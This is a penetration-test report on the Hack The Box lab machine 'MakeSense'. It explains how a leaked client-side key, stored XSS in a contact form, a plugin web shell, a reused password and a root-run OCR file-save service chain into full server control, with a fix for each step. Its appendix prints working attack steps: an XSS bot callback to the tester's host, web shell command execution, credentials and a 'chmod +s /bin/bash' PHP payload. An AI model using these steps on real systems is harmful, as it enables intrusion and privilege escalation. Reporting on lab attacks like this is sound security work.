PENETRATION TEST REPORT

HACK THE BOX

MakeSense
Web Application Assessment

A visitor can take over the website without a password, and a password shared between three systems turns that into full control of the server

4ss3m // CONFIDENTIAL

OVERALL RISK: CRITICAL

DOCUMENT DETAILS

Target	10.129.145.223 - makesense.htb
Reachable from the internet	Web (HTTPS) and remote login (SSH) only
Application	WordPress 7.0, custom theme webagency 1.0
Starting position	A member of the public with a web browser
Test window	05 November 2026
Test type	Black-box, from the internet

1 EXECUTIVE SUMMARY

A member of the public can take over this website without knowing any password. The contact form accepts a message, and that message is later shown to the site administrator as live web content instead of plain text. We sent a message that contained a small program. When the administrator opened their inbox, the program ran in their browser and quietly created a second administrator account for us.

With that administrator account we installed software on the server, which is the same as getting a command line on the machine. The website's configuration file then handed us a password that was also the login for a user account on the server and for an internal document-scanning tool. That tool runs with the highest possible rights and saves files under whatever name it is given, so we saved a small program through it and it ran as the system administrator.

Nothing exotic was required. The website published the key it uses to check submissions, it displayed visitor messages without cleaning them, and one password was reused for three different systems. Any one of those being fixed would have stopped the chain.

#	Finding	Severity
01	The key that is supposed to protect what visitors send is printed in the public website code	CRITICAL
02	A message sent through the public contact form can put code into the page the administrator reads	CRITICAL
03	Anyone who reaches the administration area can install software on the server	HIGH
04	The same password opens the database, a server login and an internal tool	HIGH
05	The internal scanning tool runs with full system rights and saves files under any name the caller chooses	CRITICAL

4ss3m // CONFIDENTIAL

2 HOW THE ATTACK UNFOLDED

1. A scan from the internet found a web server and a remote login service; nothing else was exposed.
2. The website is WordPress with a custom theme, and the theme's JavaScript contained the key meant to protect form submissions.
3. Using that public key, we sent a contact message that carried a program instead of text.
4. The administrator's browser ran the program when the message was viewed, and the program used the administrator's own session to create a new administrator account.
5. That account installed a plugin that let us run commands on the server as the web server user.
6. The site's configuration file gave us a password that also worked for a server login and for an internal scanning tool.
7. The scanning tool runs as the system administrator and saved a program under a name we chose; requesting that file ran it with full rights, which is complete control of the machine.

4ss3m // CONFIDENTIAL

3 WHAT WE FOUND

CRITICAL

F-01 The key that is supposed to protect what visitors send is printed in the public website code

Public theme file whisper-wrapper.js, shipped to every visitor

The site encrypts what a visitor sends it using a password that is written into the JavaScript every visitor downloads. Anyone who opens the page can read it. That means the encryption hides nothing from an attacker and, worse, the server accepts anything encrypted with it as if the website itself had produced it. We used that to send the site content it would never have accepted from a real visitor.

Why it matters. The site cannot tell a genuine submission from one an attacker built, so every later step in this report starts from a form the public can reach.

Fix

- Remove the encryption from the browser. If data must be encrypted, do it on the server where the key stays private.
- Never treat something encrypted with a public key as proof that the request is legitimate.

CRITICAL

F-02 A message sent through the public contact form can put code into the page the administrator reads

Contact form and the administrator's submissions inbox

When a visitor sends a message, it is stored and later shown to the site administrator. The message is displayed as-is rather than as plain text. We sent a message containing a small program; when the administrator opened their inbox, their browser ran it. Because the administrator was already logged in, the program could act as them and created a second administrator account for us.

Why it matters. A stranger with a web browser can become the site's administrator without ever knowing a password.

Fix

- Show visitor messages as plain text, never as live web content.
- Limit access to the submissions inbox to the people who need it.
- Add a browser security policy that blocks code embedded in pages.

HIGH

F-03 Anyone who reaches the administration area can install software on the server

WordPress plugin installation screen

The administrator account we had just created could upload a plugin, which is a small package the site installs and runs. We uploaded one that executes commands and used it to run commands on the server as the web server's own user account. No further vulnerability was needed: this is a normal feature being used by an account that should not have existed.

Why it matters. Website administrator access becomes command-line access to the hosting server.

Fix

- Do not let accounts created by automated processes be administrators.
- Disable plugin installation from the browser; deploy code through a controlled release process.

4ss3m // CONFIDENTIAL

HIGH

F-04 The same password opens the database, a server login and an internal tool

Website configuration file; local account walter; internal document-scanning service

The website's configuration file contained the password it uses to reach its database. That same password also worked as a login on the server and as the password for an internal scanning tool that only the server itself can reach. Reading one configuration file therefore gave us a server login, and the server login gave us the internal tool.

Why it matters. A single exposed password moved us from the website to the operating system.

Fix

- Give each service its own password and change the shared one everywhere it is used.
- Keep the database password out of files the website serves, and use a database account with limited rights.

CRITICAL

F-05 The internal scanning tool runs with full system rights and saves files under any name the caller chooses

Internal service on port 8001, started as the root user

The tool reads text from an uploaded image and then saves the recognised text under a name supplied in the form. It runs as the most powerful account on the machine, and the folder it saves into is served by the website. We uploaded an image that spells out a short program, saved the result under a name ending in .php, and requested that file. The server executed it as root, which let us grant ourselves full control of the machine.

Why it matters. A local user, or anyone who obtains the reused password, can run code as the system administrator.

Fix

- Save uploaded content outside the website folder, with a fixed file type and a name the system generates.
- Run the scanning tool as an ordinary user, not as root.
- Give the tool its own password instead of reusing a server login.

4ss3m // CONFIDENTIAL

4 WHAT TO FIX FIRST

Priority	Action	Severity
1	Show visitor messages as plain text, and remove the public key. This closes the way in.	CRITICAL
2	Move the scanning tool's saved files out of the public website folder and stop running it as an administrator.	CRITICAL
3	Stop automated processes from creating administrator accounts, and disable plugin installation from the browser.	HIGH
4	Change the shared password and give each system its own.	HIGH

The website compromise and the server takeover are separate problems, but the shared password is what connected them. Fixing any single link in this chain would have prevented the outcome.

4ss3m // CONFIDENTIAL

5 HOW TO FIX THIS PROPERLY

The website

- Display contact submissions as plain text, not as live web content.
- Remove the encryption key from the code every visitor downloads, and do any encryption on the server.
- Add a browser security policy that blocks embedded code in pages.

Accounts and software installation

- Allow only named staff to hold administrator rights; never let an automated process create one.
- Turn off plugin installation from the browser and deploy software through a controlled release process.

Passwords

- Change the shared password on the database, the server login and the scanning tool.
- Give each system a separate password, and keep the database password out of files the website serves.
- Store service passwords in a dedicated password manager.

The scanning tool

- Save its output outside the website folder, with a fixed file type and a name the system generates.
- Run it as an ordinary user instead of the system administrator.
- Give it its own password.

4ss3m // CONFIDENTIAL

A APPENDIX - TECHNICAL EVIDENCE

Recorded command output, for the engineers who will implement the fixes.

Exposed services

```
$ nmap -Pn -sV -p22,80,443,8001 10.129.145.223
22/tcp   open     ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp   filtered http
443/tcp  open     ssl/http Apache httpd 2.4.58 ((Ubuntu))
8001/tcp filtered vcom-tunnel
Host is up (0.15s latency) - Linux
```

Application identification

```
$ curl -sk --resolve makesense.htb:443:10.129.145.223 https://makesense.htb/
HTTP 200, 34914 bytes
WordPress 7.0 - theme webagency - title: Agency LLC
  "nonce":"65c3fbc5d4"
theme scripts: assets/js/whisper/whisper-wrapper.js?ver=1.0
```

The key shipped to every visitor

```
$ curl -sk https://makesense.htb/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js
7: const ENCRYPTION_KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI';
460: Encrypt payload using AES-GCM
482: Generate random IV (12 bytes for AES-GCM)
```

Planted message and administrator bot

```
$ python3 solve.py 10.129.145.223 10.10.14.63
[*] planted XSS in post 69 (200)
[bot] callback /x.js
[bot] callback /done?status=200
[+] admin session as pentest
```

Command execution as the web server user

```
GET /wp-content/plugins/wshell/wshell.php?c=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Shared password and user flag

```
$ cat /var/www/html/wp-config.php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );
$ ssh walter@10.129.145.223    # same password
$ cat ~/user.txt
<user flag redacted>
```

The internal service

```
$ ss -tlnp
LISTEN 0 4096 127.0.0.1:8001 0.0.0.0:*
$ ps aux | grep 'php -S'
root 1402 ... php -S 127.0.0.1:8001 -t /root/ocr4/
$ curl -si http://127.0.0.1:8001/
HTTP/1.0 401 Unauthorized
X-Powered-By: PHP/8.3.6
WWW-Authenticate: Basic realm="OCR Protected"
$ curl -s -u walter:JbhHDAEgXvri3! http://127.0.0.1:8001/   # 200
```

Full control through the save form

```
text rendered as an image: <?php system('chmod +s /bin/bash'); ?>
OCRID=ocr_6aec923abe9678.50447242
filename=pwn.php -> Saved as: saved/pwn.php
$ curl -s -u walter:... http://127.0.0.1:8001/saved/pwn.php
$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1446024 Mar 31  2024 /bin/bash
$ /bin/bash -p -c 'id; cat /root/root.txt'
uid=1000(walter) gid=1000(walter) euid=0(root) egid=0(root)
<root flag redacted>
```

4ss3m // CONFIDENTIAL